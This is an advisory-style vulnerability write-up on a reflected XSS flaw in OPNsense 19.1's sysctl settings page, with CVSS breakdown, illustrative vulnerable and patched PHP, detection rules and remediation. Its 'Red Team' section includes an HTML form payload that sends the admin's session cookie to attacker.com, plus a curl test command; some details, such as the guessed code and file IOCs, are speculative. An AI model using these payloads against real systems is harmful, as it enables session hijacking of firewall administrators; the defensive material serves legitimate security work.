CVE-2019-25377

Executive Summary

CVE-2019-25377 is a reflected cross-site scripting (XSS) vulnerability in OPNsense 19.1, specifically within the system_advanced_sysctl.php endpoint. An attacker can craft a POST request containing malicious JavaScript in the value parameter. When an authenticated user interacts with the crafted request (e.g., by clicking a link or submitting a form), the injected script executes in the context of the user's session. This can lead to session hijacking, credential theft, or further compromise of the OPNsense firewall management interface.

The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a network attack vector, low attack complexity, and no privileges required for the initial request, though user interaction is required. No public exploit code or Nuclei template is available, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

OPNsense is a FreeBSD-based open-source firewall distribution. The vulnerable component is part of the core web GUI, not a third-party package. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a crafted link or submit a malicious form.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for session hijacking in a firewall management interface elevate the risk for organizations using OPNsense 19.1.

Deep Dive & Mechanics

The vulnerability resides in the system_advanced_sysctl.php endpoint, which is part of OPNsense's web-based administration interface. This endpoint is used to modify kernel parameters via the sysctl mechanism. The value parameter is not properly sanitized or encoded before being reflected back to the user in the response.

Attack Flow:

1. An attacker identifies an OPNsense 19.1 instance (e.g., via Shodan).
2. The attacker crafts a malicious URL or POST form that includes a payload in the value parameter, such as:

   <script>alert('XSS')</script>
   

3. The attacker lures an authenticated administrator to click the link or submit the form.
4. The OPNsense server reflects the unsanitized payload in the HTTP response.
5. The victim's browser executes the injected script, which can then:
   • Steal session cookies.
   • Perform actions on behalf of the admin (e.g., change firewall rules).
   • Redirect to a phishing page.

Root Cause: The application fails to apply output encoding or input validation on the value parameter before including it in the HTML response. This is a classic reflected XSS flaw.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1): The vulnerable endpoint likely contains code similar to:

// system_advanced_sysctl.php (simplified)
$value = $_POST['value'];
echo "<input type='text' name='value' value='$value'>";

The $value variable is directly echoed without any sanitization.

Patched Code (OPNsense 19.7+): The patched version uses proper output encoding:

// system_advanced_sysctl.php (patched)
$value = htmlspecialchars($_POST['value'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='value' value='$value'>";

The htmlspecialchars() function converts special characters like <, >, ", and ' to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• OPNsense 19.1 instance (e.g., in a lab VM).
• Authenticated admin session (or ability to phish credentials).
• Network access to the web GUI.

Exploitation Steps:

1. Craft the Payload: Create a malicious POST request. This can be done using a simple HTML form or a tool like curl.

   <form action="https://target.opnsense.local/system_advanced_sysctl.php" method="POST">
       <input type="hidden" name="value" value="<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>">
       <input type="submit" value="Click me">
   </form>
   

2. Deliver the Payload: Host the form on an attacker-controlled site and send the link to the victim (e.g., via email or social engineering).
3. Execute: When the victim submits the form, the script executes, sending the session cookie to the attacker's server.
4. Session Hijacking: The attacker captures the cookie and uses it to impersonate the admin.

Alternative Payload (using curl for testing):

curl -X POST https://target.opnsense.local/system_advanced_sysctl.php \
  -d "value=<script>alert('XSS')</script>" \
  -b "PHPSESSID=valid_session_cookie"

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for unusual POST requests to /system_advanced_sysctl.php containing <script> tags or other HTML/JavaScript patterns.
• Use a Web Application Firewall (WAF) to block requests with suspicious value parameters.
• Deploy endpoint detection and response (EDR) on admin workstations to detect anomalous JavaScript execution.

Defense:

• Immediate: Upgrade OPNsense to version 19.7 or later.
• Mitigation (if upgrade is not possible): Restrict access to the web GUI to trusted IPs only. Use a reverse proxy with WAF capabilities to filter malicious inputs.
• Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact. Enforce strict input validation and output encoding in all web applications.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /system_advanced_sysctl.php with value parameter containing <script>, onerror, onload, or similar JavaScript event handlers.
• Outbound connections from the OPNsense server to unknown IPs on common ports (80, 443) shortly after a POST to the vulnerable endpoint.

Host IOCs:

• Unusual entries in OPNsense web server logs (e.g., /var/log/lighttpd/error.log or /var/log/nginx/access.log) showing encoded or raw script tags.
• Modified firewall rules or system configurations that were not performed by an authorized admin.

File IOCs:

• Temporary files in /tmp/ created by malicious scripts (e.g., xss_payload.txt).

Detection Engineering

YARA Rule

rule CVE_2019_25377_XSS_Payload {
    meta:
        description = "Detects reflected XSS payloads targeting OPNsense system_advanced_sysctl.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25377"
    strings:
        $payload1 = /value=<script[^>]*>.*<\/script>/i
        $payload2 = /value=.*onerror\s*=/i
        $payload3 = /value=.*onload\s*=/i
        $payload4 = /value=.*alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on OPNsense system_advanced_sysctl.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the OPNsense system_advanced_sysctl.php endpoint with potential XSS payloads in the value parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: opnsense
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/system_advanced_sysctl.php'
    keywords:
        - 'value=<script'
        - 'value=.*onerror'
        - 'value=.*onload'
        - 'value=.*alert('
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in sysctl values (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2019-25377 OPNsense Reflected XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system_advanced_sysctl.php"; http_uri; content:"value="; http_client_body; pcre:"/value=<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OPNsense: Update to version 19.7 or later, which includes the fix for this vulnerability.
2. Restrict Access: Limit access to the OPNsense web GUI to trusted IP addresses or VPN connections.
3. Apply WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.

Long-term Measures:

• Implement a Content Security Policy (CSP) header to restrict script execution.
• Conduct regular security audits and penetration testing on the OPNsense instance.
• Enable logging and monitoring for all administrative actions.
• Follow the principle of least privilege for all admin accounts.

Patch Details: The official fix was included in OPNsense 19.7. The patch involved adding htmlspecialchars() encoding to the value parameter in system_advanced_sysctl.php. No separate patch file is available; upgrading to the latest stable release is the recommended action.

Valters IT